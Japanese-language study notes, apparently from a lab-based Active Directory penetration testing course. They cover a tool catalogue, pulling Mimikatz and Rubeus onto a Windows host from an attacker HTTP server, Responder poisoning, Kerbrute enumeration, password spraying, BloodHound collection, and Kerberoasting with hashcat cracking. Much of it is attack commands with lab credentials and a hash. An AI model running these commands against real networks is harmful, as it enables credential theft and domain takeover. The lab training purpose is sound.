実践ツール集(Tools of the Trade)

ツール名 説明
PowerView / SharpView PowerShellベースおよび.NET移植版のAD列挙ツール。Windowsのnet*コマンドの代替として使用でき、BloodHoundと似た情報を手動で取得するのに役立ちます。特定のユーザーやコンピュータの調査、新しい認証情報の確認、KerberoastingやASREPRoastingに利用可能なユーザー発見などに便利。
BloodHound AD内の関係性を可視化し、攻撃経路を計画するためのツール。データ収集はPowerShellまたはC#版のSharpHoundで行い、Neo4jデータベースとElectronベースのGUIで解析します。
SharpHound C#で書かれたBloodHound用のデータ収集ツール。ユーザー、グループ、ACL、GPO、セッションなどの情報を収集し、JSON形式で出力します。
BloodHound.py ImpacketベースのPython版BloodHound収集ツール。ドメイン未参加ホストから実行可能。
Kerbrute Goで書かれたツール。Kerberosの事前認証を利用してADアカウントを列挙、パスワードスプレー、ブルートフォースが可能。
Impacketツールキット ネットワークプロトコルとのやり取りのためのPython製ツール集。AD列挙・攻撃用の多数のスクリプトを含む。
Responder LLMNR、NBT-NS、mDNSをポイズニングするための専用ツール。
Inveigh.ps1 PowerShell製のネットワークスプーフィング・ポイズニングツール。Responderと似た機能。
InveighZero (C# Inveigh) InveighのC#版。取得したデータ(ユーザー名やハッシュなど)と対話可能な半インタラクティブツール。
rpcinfo RPCサービスの状態確認やサービス一覧取得ができる。例:rpcinfo -p 10.0.0.1
rpcclient Sambaスイートの一部。RPC経由でAD情報を列挙可能。
CrackMapExec (CME) 列挙・攻撃・ポストエクスプロイトの統合ツール。SMB、WMI、WinRM、MSSQLなどを利用してADの機能を悪用。
Rubeus Kerberosの脆弱性を悪用するためのC#製ツール。
GetUserSPNs.py 一般ユーザーに紐づくSPN(サービスプリンシパル名)を列挙するImpacketスクリプト。
Hashcat ハッシュのクラックやパスワードリカバリに特化した強力なツール。
enum4linux / enum4linux-ng WindowsおよびSambaシステムからの情報収集ツール。ngはリワーク版。
ldapsearch LDAPプロトコルと対話するための標準コマンドラインツール。
windapsearch LDAPクエリでADのユーザー、グループ、コンピューターを列挙するPythonスクリプト。
DomainPasswordSpray.ps1 PowerShell製のドメイン全体へのパスワードスプレーツール。
LAPSToolkit PowerViewを利用してLAPS(ローカル管理者パスワードソリューション)導入環境の監査・攻撃を行うPowerShell関数群。
smbmap SMB共有の列挙とアクセス確認を行うツール。
psexec.py / wmiexec.py Impacket製のPsexecおよびWMI経由でコマンドを実行するスクリプト。
Snaffler ファイル共有内の資格情報などの機密情報を探すのに便利なツール。
smbserver.py シンプルなSMBサーバーを立ち上げてファイル共有を可能にするツール。
setspn.exe ADアカウントのSPNを追加・確認・削除するコマンド。
Mimikatz 平文パスワードの抽出、パス・ザ・ハッシュ、Kerberosチケットの抽出など多機能な攻撃ツール。
secretsdump.py リモートホストからSAM・LSAシークレットをダンプ。
evil-winrm WinRMプロトコル経由で対話型シェルを取得するツール。
mssqlclient.py MSSQLデータベースと対話可能なImpacket製ツール。
noPac.py CVE-2021-42278および42287を利用したドメインユーザー→DAの昇格エクスプロイト。
rpcdump.py RPCエンドポイントのマッピング情報を取得するImpacketツール。
CVE-2021-1675.py PrintNightmare脆弱性(PoCスクリプト)。
ntlmrelayx.py SMBリレー攻撃を行うImpacketツール。
PetitPotam.py CVE-2021-36942を利用し、Windowsホストに別ホストへの認証を強制させるPoC。
gettgtpkinit.py / getnthash.py Kerberos TGT・PACを操作し、NTハッシュの取得を試みるツール。
adidnsdump ドメインからDNSレコードを列挙・ダンプするツール。ゾーントランスファと類似。
gpp-decrypt グループポリシー設定ファイルからユーザー名・パスワードを抽出。
GetNPUsers.py ‘Kerberos事前認証不要’ 設定のユーザーを狙ったASREPRoasting攻撃用ツール。
lookupsid.py SIDブルートフォースツール。
ticketer.py TGT/TGSチケットの作成・カスタマイズ。ゴールデンチケットや信頼関係攻撃に利用可。
raiseChild.py 子ドメイン→親ドメインへの権限昇格を自動化するImpacketツール。
Active Directory Explorer ADのオブジェクト構造を閲覧・比較するGUIツール。スナップショット保存やオフライン分析にも対応。
PingCastle AD環境のセキュリティ診断ツール。リスク評価と成熟度フレームワーク(CMMIベース)に基づいて分析。
Group3r グループポリシーオブジェクト(GPO)のセキュリティ設定ミスを監査・発見するツール。
ADRecon AD環境から多様なデータを収集し、Excelレポートとして出力。セキュリティの全体像を把握可能。

Windows上で使うツールを全部突っ込む

Linux上

# PowerView.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
# mimikatz
wget -O mimikatz.zip https://github.com/ParrotSec/mimikatz/archive/refs/heads/master.zip
# Rubeus
wget -O rubeus.zip https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/archive/refs/heads/master.zip
# HTTPサーバー立てる
python3 -m http.server 8080

Linux上

Attacker_IP="10.10.14.205"
wget http://$Attacker_IP:8080/PowerView.ps1
# mimikatz
wget http://$Attacker_IP:8080/mimikatz.zip
# Rubeus
wget http://$Attacker_IP:8080/rubeus.zip

Windows上

$Attacker_IP="10.10.14.205"
# PowerView.ps1
Invoke-WebRequest -Uri "http://$Attacker_IP:8080/PowerView.ps1" -OutFile "PowerView.ps1"
# mimikatz.zip
Invoke-WebRequest -Uri "http://$Attacker_IP:8080/mimikatz.zip" -OutFile "C:\Users\Public\Tools\mimikatz.zip"
# rubeus.zip
Invoke-WebRequest -Uri "http://$Attacker_IP:8080/rubeus.zip" -OutFile "C:\Users\Public\Tools\rubeus.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath "mimikatz" -Force
Expand-Archive -Path "rubeus.zip" -DestinationPath "rubeus" -Force
import-module .\PowerView.ps1

Attacker_IPの変数が展開されないバージョン

Invoke-WebRequest -Uri "http://10.10.14.205:8080/PowerView.ps1" -OutFile "PowerView.ps1"
Invoke-WebRequest -Uri "http://10.10.14.205:8080/mimikatz.zip" -OutFile "mimikatz.zip"
Invoke-WebRequest -Uri "http://10.10.14.205:8080/rubeus.zip" -OutFile "rubeus.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath "mimikatz" -Force
Expand-Archive -Path "rubeus.zip" -DestinationPath "rubeus" -Force
import-module .\PowerView.ps1

ドメインの初期列挙

シナリオ
我々がSSHで接続できるように設定された、内部ネットワーク上のカスタムペンテスト用仮想マシン。

今回注目すべき重要なデータポイント(メモツールにしっかり記録!)

データポイント 説明
ADユーザー パスワードスプレー攻撃の対象となる有効なユーザーアカウントの列挙を試みる
ドメイン参加済みコンピュータ 重要なホスト(例:ドメインコントローラー、ファイルサーバ、SQLサーバ、Webサーバ、Exchangeメールサーバ、データベースサーバなど)
重要なサービス Kerberos、NetBIOS、LDAP、DNSなど
脆弱なホスト・サービス 簡単に攻撃・侵入できそうなもの(いわゆる「クイックウィン」)

攻撃手法(TTPs)

どう進めるにしても、最初に見るべき情報やポイントは大体共通している

ステップ概要

  1. パッシブなホストの検出から開始
  2. アクティブにホストを検証して、サービスの詳細、ホスト名、脆弱性の有無を調査
  3. 存在が確認できたホストをさらに掘り下げる
  4. 情報が一通り集まったところで一度整理し、次のステップへ進む判断をする

終わった時点での理想的な目標

パッシブなホストの検出から開始

Wireshark を ea-attack01 上で起動する

┌─[htb-student@ea-attack01]─[~]
└──╼ $ sudo -E wireshark

そのほかのツール
GUI

tcpdumpの例

sudo tcpdump -i ens224 -w capture.pcap

キャプチャしたPCAPファイルは保存する!!!

Responderでの解析

最初のネットワーク監視では、MDNSARP経由でいくつかのホストの存在が分かった
Responder というツールを使って、ネットワークを解析する

Responderとは

今回はその中でも「解析モード(Analyze mode)」のみを使う

┌─[htb-student@ea-attack01]─[~]
sudo responder -I ens224 -A 

出力されたホストはターゲットリストとして、メモしておく
後で、ターゲットリストとして使う

fpingでの生きているホストの調査

パッシブチェックでいくつかのホストが見えたので、次はアクティブな方法で確認する

fping を使って、**サブネット内のICMPスイープ(Ping調査)**を行う

fpingとは

fping -asgq 172.16.5.0/23

オプションの意味

ホストの詳細調査

上のICMPスワープで生きているホストに対して、詳細な情報を取得する
また、ここでの調査は、今後のドメイン列挙の方向性を決めるヒントになる
Linux・Windows共通の「Nmapポートスキャン」のコマンドを実行する

一見すると、古いソフトウェアやサポート終了済みのOSが使われているのはおかしな話に思える

こうしたレガシー環境は、ファイアウォールやIDS/IPSで外部から守ろうとする傾向がある
でも、一度侵入できれば、比較的容易に足がかり(foothold)を作れる可能性が高い

ドメインコントローラーぽいポートやサービス

ポート サービス名 判断材料としての意味
88/tcp Kerberos DCの重要機能、これが開いてるとDCの可能性高い
135/tcp RPC DCでもよく使われるが他のWindows機でもある
139, 445/tcp SMB これも汎用的なので単体では判定できない
389/tcp LDAP これはDCが持ってるディレクトリサービス
636/tcp LDAPS(LDAP over SSL) 同上(セキュア版)
3268, 3269/tcp Global Catalog これが開いてたらほぼ確定でDC

ドメインユーザーアカウントを見つける

ユーザーの特定

Kerbrute を使った内部ADユーザーブルートフォース

Kerbrute

上で見つけたホストに対して使用する
2種類の使用法

snowyowl644@htb[/htb]$ sudo git clone https://github.com/ropnop/kerbrute.git
sudo make all
ls dist/

対象のアーキテクチャの実行ファイルを実行する

snowyowl644@htb[/htb]$ ./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
オプション 説明
userenum kerbruteのモード。これはユーザー名の列挙を行うモード。
-d INLANEFREIGHT.LOCAL ターゲットのActive Directoryドメイン名。
--dc 172.16.5.5 ドメインコントローラー(Domain Controller)のIPアドレス。Kerberosパケットをこのホストに送る。
jsmith.txt ユーザー名のリストを含むファイル。このリストを元にユーザーの存在を確認する。
-o valid_ad_users 出力ファイル名。見つかった有効ユーザー名がこのファイルに保存される。

認証情報を探す

目的 : ドメインユーザーアカウントの平文の認証情報を取得し、認証済みで次の調査フェーズへ進むこと
使用する攻撃手法 : ネットワークポイズニングとパスワードスプレー

LLMNR / NBT-NS ポイズニング from Linux

LLMNR : リンクローカルマルチキャスト名前解決
NBT-NS : NetBIOS名前サービス
それぞれに対するブロードキャストに対する中間者攻撃を行う

LLMNR / NBT-NSに対する基礎知識

クイック例:LLMNR/NBT-NSポイズニング

  1. あるホストが、プリントサーバー \\print01.inlanefreight.local に接続しようとしますが、誤って \\printer01.inlanefreight.local とタイプしてしまいます。
  2. DNSサーバーは、「そのホストは存在しない」と応答します。
  3. ホストは次に、ローカルネットワーク全体に向けて「誰か \\printer01.inlanefreight.local の場所を知っているか?」とブロードキャストします。
  4. 攻撃者(Responderを動作させている私たち)は、まるで自分がそのホストであるかのように応答します。
  5. ホストはその応答を信じ、認証リクエスト(ユーザー名とNTLMv2のパスワードハッシュ付き)を攻撃者に送信します。
  6. 攻撃者はこのハッシュをオフラインでクラックするか、条件が揃えばSMBリレー攻撃に利用することができます。

TTPs

目的 : ネットワーク上に送信される認証情報、具体的にはNTLMv1・NTLMv2パスワードハッシュを収集すること
Linuxで使えるLLMNR / NBT-NSポイズニングツール↓

Responder LLMNR、NBT-NS、MDNSを毒するために設計された専用ツール。多機能です。
Inveigh クロスプラットフォーム対応のMITM(中間者)ツール。スプーフィングやポイズニングに使用可能。
Metasploit 複数のスキャナやスプーフィングモジュールがあり、ポイズニング攻撃に対応。

これらのツールは以下のプロトコルに対して攻撃可能
• LLMNR
• DNS
• MDNS(マルチキャストDNS)
• NBNS(NetBIOS Name Service)
• DHCP
• ICMP
• HTTP
• HTTPS
• SMB
• LDAP
• WebDAV
• プロキシ認証(Proxy Auth)
Responderはさらに以下にも対応
• MSSQL
• DCE-RPC
• FTP、POP3、IMAP、SMTPの認証

Responder

攻撃マシンがLinuxの場合に使える
一般的によく使うオプション

Responderの起動

sudo responder -I ens224
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt 

Inveigh

攻撃マシンがWindowsの場合に使える

使い方

起動

wget https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/refs/heads/master/Inveigh.ps1
PS C:\htb> Import-Module .\Inveigh.ps1

LLMNR と NBNS のなりすましで Inveigh を開始し、コンソールに出力してファイルに書き込み

PS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

ちなみに、InveighのPowershellバージョンは、更新されなくなっちゃった
C#バージョンが更新されているけど、コンパイルが必要なので、だるい

Inveigh.exeが実行されている間、escキーを押してコンソールに入ることができる
コンソールで使えるコマンド

パスワードスプレー

パスワードポリシーの列挙

Linux・Windows共通の「Samba(SMB)」にも少し書いてる

攻撃マシンがLinuxの場合

snowyowl644@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

攻撃マシンがWindowsの場合
ツールとかを新しくインストールできない場合

C:\htb> net accounts

ツールを新しくインストールできる場合

PS C:\htb> import-module .\PowerView.ps1
PS C:\htb> Get-DomainPolicy

他の使えるツール

ターゲットユーザーリストの作成

パスワードスプレー攻撃には、まず、有効なドメインユーザーリストを作成する必要がある

ドメインユーザーリストを作成する例

enum4linux

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

rpcclient

rpcclient -U "" -N 172.16.5.5
$> enumdomusers 

CrackMapExec

crackmapexec smb 172.16.5.5 --users

ldapsearch

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

windapsearch

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

もし、一つでも有効な認証情報があるなら、CrackMapExecでユーザーリストを作れる

sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users

出力

badPwdCount 失敗したログイン試行のカウント
badPwdTime 最後にパスワードが間違えられた時刻(UTC)
lastLogon 最後に成功したインタラクティブログオンの時刻

パスワードスプレーの実行

Linux

rpcclient

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Kerbrute

snowyowl644@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

オプション

valid_users.txt テスト対象のユーザー名リスト
Welcome1 テストするパスワード(全ユーザーにこのパスワードをスプレー)
passwordspray これは kerbrute のモード(サブコマンド)です。ユーザー名のリストに対して1つのパスワードを使ってログインを試みる
→ このモードを指定することで、Kerberos 認証を使って “横一列” にパスワードスプレーする
CrackMapExec
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
管理者パスワードの再利用
 sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

Windows

PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
オプション 説明
-Password Welcome1 試行するパスワード。ここでは「Welcome1」を使用
-OutFile spray_success 成功したログイン情報を保存するファイル名(ここでは spray_success)
-ErrorAction SilentlyContinue エラーを無視して処理を続行(途中で止まらず、静かに進行)

Rabbit Holeをさらに深く掘る

セキュリティコントロールの列挙

Windows Defender

PS C:\htb> Get-MpComputerStatus

AppLocker

Applockerの例
多くの企業では、以下のようなものをブロックする設定がよく見られる

PS C:\htb> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

PowerShell 制限付き言語モード(Constrained Language Mode)

PS C:\htb> $ExecutionContext.SessionState.LanguageMode

LAPS(ローカル管理者パスワードソリューション)

PS C:\htb> Find-LAPSDelegatedGroups

Find-AdmPwdExtendedRights の使用

PS C:\htb> Find-AdmPwdExtendedRights

Get-LAPSComputers の使用

資格情報つきの列挙

このフェーズに移る前に必要なもの(最低どれか一つ)

ドメイン内のユーザーやマシンに関する大まかな情報は得られたので、詳細な列挙調査を行う

CrackMapExec

ドメインユーザーの列挙コマンド

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users

ドメイングループの列挙

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups

ログオン中のユーザー

sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users

ユーザーセッション調査ツール

ドメインコントローラーの 共有フォルダ列挙

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'

SMBMap

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

すべてのディレクトリ(フォルダ)の構造を再帰的に一覧表示

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
wget https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/wmiexec.py
wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5  

Windapsearch

wget https://raw.githubusercontent.com/ropnop/windapsearch/refs/heads/master/windapsearch.py
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

Active Directory内の「特権ユーザー(Privileged Users)」を列挙するコマンド

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
オプション 意味
--dc-ip ドメインコントローラーのIP指定
-u 認証ユーザー(ドメインユーザー形式)
-p パスワード
-PU 特権ユーザーを(ネスト込みで)列挙

AD内のユーザー・コンピュータ・権限情報を全部収集してBloodHound用に保存するコマンド

sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
オプション 説明
-u 'forend' 使用するドメインユーザー名
-p 'Klmcargo2' パスワード
-ns 172.16.5.5 名前解決に使うDNSサーバー(=ドメインコントローラーのIP)
-d inlanefreight.local 対象のADドメイン名
-c all 全ての収集項目(ユーザー、グループ、セッション、ACLなど)を対象にする
コマンド実行後、各種情報(ユーザ、コンピュータ、グループなど)のJSONファイルが生成される。
ls
# 例:
20220307163102_computers.json
20220307163102_users.json

Neo4j 起動

sudo neo4j start

BloodHound GUI 起動

bloodhound

ログイン情報(必要に応じて)

データのアップロード方法

  1. JSONファイルをZIP化する(例: zip -r ilfreight_bh.zip *.json
  2. GUI右側の Upload Data をクリック
  3. ZIPファイルまたは個別のJSONファイルを選択してアップロード

BloodHoundによる攻撃経路の可視化

GUI内でのおすすめ操作
• Database Info タブ → 全体の構造を確認
• Node Info タブ → ノード(例: Domain Users)の詳細情報を確認
• Analysis タブ → 強力なプリセットクエリでドメイン乗っ取りの可能性を発見
• Raw Query ボックス → Cypherチートシートからクエリを貼り付けて実行可能
• Settings(⚙️) → ノード表示の調整、デバッグモード、ダークモードの切替が可能

Windows環境下

ActiveDirectory PowerShellモジュール

インポート

PS C:\htb> Import-Module ActiveDirectory
PS C:\htb> Get-Module

ドメイン情報の取得

PS C:\htb> Get-ADDomain
  1. ドメインユーザーとしてログイン
  2. SPN付きアカウントの TGS(サービスチケット) を要求
  3. TGSは対象アカウントの NTLMハッシュで暗号化
  4. TGSを保存 → オフラインでhashcatなどでクラック
  5. パスワードがわかれば、正規の資格情報としてログイン可能

ServicePrincipalName プロパティが設定されているアカウントをフィルターして抽出する

PS C:\htb> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

ドメイン信頼関係を確認する

PS C:\htb> Get-ADTrust -Filter *

グループ列挙

PS C:\htb> Get-ADGroup -Filter * | select name

詳細なグループ列挙

PS C:\htb> Get-ADGroup -Identity "Backup Operators"

グループのメンバーリストを取得する

PS C:\htb> Get-ADGroupMember -Identity "Backup Operators"

PowerView

インストール
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
モジュールのimport

Import-Module Recon

.ps1スクリプトのロード

. .\PowerView.ps1

PowerView 主なコマンドとその説明(日本語訳)

コマンド 説明
Export-PowerViewCSV 結果をCSVファイルに追加保存する
ConvertTo-SID ユーザー名またはグループ名をSID(セキュリティ識別子)に変換する
Get-DomainSPNTicket 指定したSPN(サービスプリンシパル名)アカウントのKerberosチケットを要求する

ドメイン / LDAP 関連コマンド

コマンド 説明
Get-Domain 現在(または指定した)ドメインのADオブジェクトを取得
Get-DomainController ドメインコントローラーの一覧を取得
Get-DomainUser すべてのユーザー、または特定のユーザーオブジェクトを取得
Get-DomainComputer すべてのコンピューター、または特定のコンピューターオブジェクトを取得
Get-DomainGroup すべてのグループ、または特定のグループオブジェクトを取得
Get-DomainOU すべて、または特定のOU(組織単位)を検索
Find-InterestingDomainAcl ビルトインでないオブジェクトに対して変更権限があるACLを検出
Get-DomainGroupMember 指定されたグループのメンバーを列挙
Get-DomainFileServer ファイルサーバーとして機能している可能性のあるサーバーを取得
Get-DomainDFSShare DFS(分散ファイルシステム)の共有を列挙
🛡 GPO(グループポリシー)関連
コマンド 説明
Get-DomainGPO すべて、または特定のGPOオブジェクトを取得
Get-DomainPolicy デフォルトのドメインポリシー、またはドメインコントローラーポリシーを取得
コンピューター列挙コマンド
コマンド 説明
Get-NetLocalGroup ローカルまたはリモートマシンのローカルグループを列挙
Get-NetLocalGroupMember 指定されたローカルグループのメンバーを列挙
Get-NetShare ローカルまたはリモートマシンの共有フォルダを取得
Get-NetSession ローカルまたはリモートマシンのセッション情報を取得
Test-AdminAccess 現在のユーザーがローカルまたはリモートマシンに管理者アクセスできるかテスト
マルチスレッド メタ関数
コマンド 説明
Find-DomainUserLocation 特定のユーザーがログインしているマシンを探す
Find-DomainShare ドメイン内で到達可能な共有フォルダを探す
Find-InterestingDomainShareFile 特定の条件に一致するファイルをドメイン共有内で検索
Find-LocalAdminAccess 現在のユーザーがローカル管理者アクセスを持つマシンを探す
ドメイントラスト関連
コマンド 説明
Get-DomainTrust 現在または指定されたドメインのトラスト関係を取得
Get-ForestTrust 現在または指定されたフォレストのトラストを取得
Get-DomainForeignUser 他ドメインのグループに所属しているユーザーを列挙
Get-DomainForeignGroupMember グループ外ドメインのメンバーを含むグループを列挙
Get-DomainTrustMapping 現在のドメインおよび見つかった他のドメインのトラスト関係を列挙

ドメインユーザー情報の取得
下の例では、mmorganユーザーに対して、ドメイン情報を取得している

PS C:\htb> Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

ドメイングループ情報の取得

PS C:\htb>  Get-DomainGroupMember -Identity "Domain Admins" -Recurse

ドメイン間の信頼関係(トラスト)のマッピングの列挙

PS C:\htb> Get-DomainTrustMapping

ローカル管理者アクセスの確認

PS C:\htb> Test-AdminAccess -ComputerName ACADEMY-EA-MS01

SPN 属性が設定されているユーザーをチェックする

PS C:\htb> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

資格情報を使用した列挙

PS C:\htb> .\SharpView.exe Get-DomainUser -Identity forend

Snaffler

Snafflerの実行

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
オプション 説明
-s コンソールに結果を表示
-d 検索するドメインの指定
-o 結果をログファイルに書き込むように指示
-v data 詳細情報の表示
結果のみを表示するdataが最適

SharpHopund

PS C:\htb> .\SharpHound.exe -c All --zipfilename ILFREIGHT

データの取り込みと分析プロセス

  1. BloodHoundデータの準備
  1. ドメイン情報の確認
  1. 分析機能の活用
  1. クライアントへの推奨事項
    - 削除不可の場合:ネットワークからの分離
    - 長期計画:廃止と置換の計画立案

LOLBANS

Linux・Windows共通の「LOLBANS」のWindowsの部分に記載

実践Kerberoasting攻撃

Kerberosting攻撃

攻撃に必要なもの
以下のいずれか

なんで、Kerberoastingが有効なのか?

攻撃の流れ

  1. ドメインユーザーとしてログイン
  2. SPN付きアカウントの TGS(サービスチケット) を要求
  3. TGSは対象アカウントの NTLMハッシュで暗号化
  4. TGSを保存 → オフラインでhashcatなどでクラック
  5. パスワードがわかれば、正規の資格情報としてログイン可能

攻撃を行える環境のパターン

攻撃に使用できるツール

Pentestの時の報告法

Linux

impacketツールキットのインストール

$ git clone https://github.com/SecureAuthCorp/impacket.git
$ cd impacket
$ sudo python3 -m pip install .

SPNアカウントの一覧取得

$ GetUserSPNs.py yourdomain.local/username -dc-ip <Domain ContorollerのIP>

グループメンバーシップの確認も重要

すべてのTGSチケットを取得する

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile tgs_tickets

特定のアカウントのTGSチケットを取得する

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile tgs_tickets

取得したKerberosのTGS-REP形式のクラック
hashcat

$ hashcat -m 13100 tgs_tickets /usr/share/wordlists/rockyou.txt

john

john --wordlist=/usr/share/wordlists/rockyou.txt tgs_tickets

クラックできた認証情報を使ってDCにアクセスできるかの確認

$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!

この後できること(ポストエクスプロイト)
ここまで来たら、以下のようなことも可能になる

Windows

setspn.exe

SPNを列挙する

C:\htb> setspn.exe -Q */*

<SNIP>
CN=sqlprod,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SPSJDB.inlanefreight.local:1433
<SNIP>  

PowerShellを使用して、アカウントのTGSチケットを要求し、それらをメモリにロードする

特定のユーザーのチケットを取得する

PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

コマンド説明

全てのユーザーのチケットを取得する

PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Mimikatzを使用してメモリ上から抽出する
/export オプションを使うことで、メモリ上の Kerberos チケットを .kirbi ファイルとして保存できる

mimikatz # base64 /out:true
mimikatz # kerberos::list /export

ここで出力されたbase64 blobを攻撃者のlinuxにコピーして、下に進む

Base64 blobのクラック準備
出力がカラム折り返しされており、改行や空白が含まれているため、改行やスペースを削除して1行に整形する必要がする

$ echo "<base64ブロブ>" | tr -d \\n

この整形された 1 行の出力をファイルに保存し、base64 コマンドで .kirbi ファイルに変換する

$ cat encoded_file | base64 -d > sqldev.kirbi

kirbi2john.py を使ったチケット抽出

$ python2.7 kirbi2john.py sqldev.kirbi

Hashcat 用に crack_file を整形
 Hashcat で処理できる形式に変換されたハッシュファイルが sqldev_tgs_hashcat として作成される

 $ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Hashcat でハッシュをクラックする

 $ hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt

もし mimikatz # base64 /out:true を使わず、mimikatz # kerberos::list /export を実行していた場合は、チケットは .kirbi ファイルとして そのままディスクに保存される
この場合、ファイルをダウンロードして kirbi2john.py に直接渡すことで、Base64 の整形ステップをスキップできる

PowerView

PowerViewを使うことで、setspn.exeを使わずにWindowsで自動化して行える

PowerView を使って SPNアカウントを取得する

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname

TGS チケットを抽出する
特定のユーザーのみ

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

全ユーザーに対して
csvに保存する

PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Hash のカラムが、Hashcat などにそのまま流し込める形式の TGS ハッシュになっている

PS C:\htb> cat .\ilfreight_tgs.csv

Rubeus

Rubeus で可能な Kerberoasting オプション例

Kerberoasting 可能なアカウントの探索

PS C:\htb> .\Rubeus.exe kerberoast /stats

管理者権限を持つユーザーに絞ってチケットを取得

PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Access Control Listの悪用

Access Control List : アクセス制御リスト

2種類のACL

  1. DACL(Discretionary Access Control List)
    • Discretionary : 「任意の/裁量による」という意
    • どのセキュリティプリンシパルにアクセスを許可/拒否するかを定義する
    • 具体的には、アクセス可/不可を指定するACEの集合
    • 誰かがオブジェクトへアクセスしようとした際、OSはDACLをチェックして、どのレベルのアクセスが許可されているかを判断する
  2. SACL(System Access Control List)
    • こちらはアクセス権の設定ではなく、アクセスの試行を監査・ログ出力する目的で使われる
    • 管理者が「このオブジェクトへのアクセスをログに残したい」といったケースで利用する

ACLの実例

ADUCでの確認方法(Active Directory Users and Computers)

SACL(System Access Control List)は、「監査」(Auditing)タブの中で確認できる

ACE(Access Control Entry)

ACEの種類 説明
Access denied ACE DACL内で使用され、特定のユーザーやグループに対して「アクセスを明示的に拒否」する設定。
Access allowed ACE DACL内で使用され、「アクセスを許可」する設定。
System audit ACE SACL内で使用され、オブジェクトへのアクセス試行をログに記録する設定(アクセスの成否や操作内容を記録)。
ACEの構成要素
  1. SID(セキュリティ識別子)
    • アクセス対象となるユーザーまたはグループのSID(またはGUI上では名前)
  2. ACEタイプのフラグ
